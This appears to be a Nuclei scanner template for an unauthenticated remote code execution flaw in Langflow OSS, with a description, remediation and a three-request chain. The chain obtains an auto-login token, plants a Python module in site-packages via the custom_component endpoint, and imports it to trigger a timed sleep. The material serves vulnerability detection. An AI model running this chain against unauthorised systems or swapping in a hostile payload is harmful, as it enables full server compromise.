Langflow OSS <=1.12.2 - Unauthenticated RCE via Import Code Execution

id: CVE-2026-93674

info:
  name: Langflow OSS <=1.12.2 - Unauthenticated RCE via Import Code Execution
  author: DhiyaneshDk
  severity: critical
  description: |
    Langflow OSS 1.0.0 through 1.12.2 is vulnerable to unauthenticated remote code execution via the POST /api/v1/validate/code endpoint, which calls importlib.import_module() on user-supplied import statements, executing module top-level code instead of merely validating syntax.
    Combined with the default LANGFLOW_AUTO_LOGIN=true configuration (which issues a superuser JWT from GET /api/v1/auto_login with no credentials) and the custom_component exec() sink (POST /api/v1/custom_component, which can plant arbitrary Python modules into site-packages), a remote unauthenticated attacker achieves arbitrary OS command execution.
    Fixed in 1.12.3 by replacing importlib.import_module() with importlib.util.find_spec() (commit 461506ac2f).
  impact: |
    Complete system compromise. An unauthenticated attacker can execute arbitrary OS commands with the privileges of the Langflow service account, leading to full control over flows, stored credentials, global variables, and any data accessible to the service.
  remediation: |
    Upgrade to Langflow OSS 1.12.3 or later. As a temporary mitigation, set LANGFLOW_AUTO_LOGIN=false with strong superuser credentials and restrict network access to the Langflow instance.
  reference:
    - https://www.pruva.dev/reproductions/REPRO-2026-00381
    - https://github.com/langflow-ai/langflow
    - https://github.com/langflow-ai/langflow/commit/461506ac2f38f70a994b5140572b876448c11e4c
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-93674
    epss-score: 0.02662
    epss-percentile: 0.85304
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 3
    vendor: langflow-ai
    product: langflow
    shodan-query: html:"Langflow"
    fofa-query: body="Langflow"
  tags: cve,cve2026,langflow,rce,code-injection,unauth,intrusive

variables:
  module: "nprobe{{rand_text_alpha(8)}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /api/v1/auto_login HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    extractors:
      - type: json
        name: token
        json:
          - '.access_token'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "access_token")'
        internal: true

  - raw:
      - |
        POST /api/v1/custom_component HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

        {"code":"from langflow.custom import CustomComponent\nimport pathlib,site\nclass P(CustomComponent):\n    _=pathlib.Path(site.getsitepackages()[0]+'/{{module}}.py').write_text('import time;time.sleep(8)')"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - raw:
      - |
        POST /api/v1/validate/code HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

        {"code":"import {{module}}"}

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 8'
          - 'status_code == 200'
        condition: and
# digest: 490a00463044021f3a2408f0ae1411506d70e6e7fd6e37987d9115e65dab60734844b8fcbfa33c022100e6c229ec09b8d19b36cc08b1090842fa26d6b5d29dc783a82950727ef3529b32:922c64590222798bb761d5b6d8e72950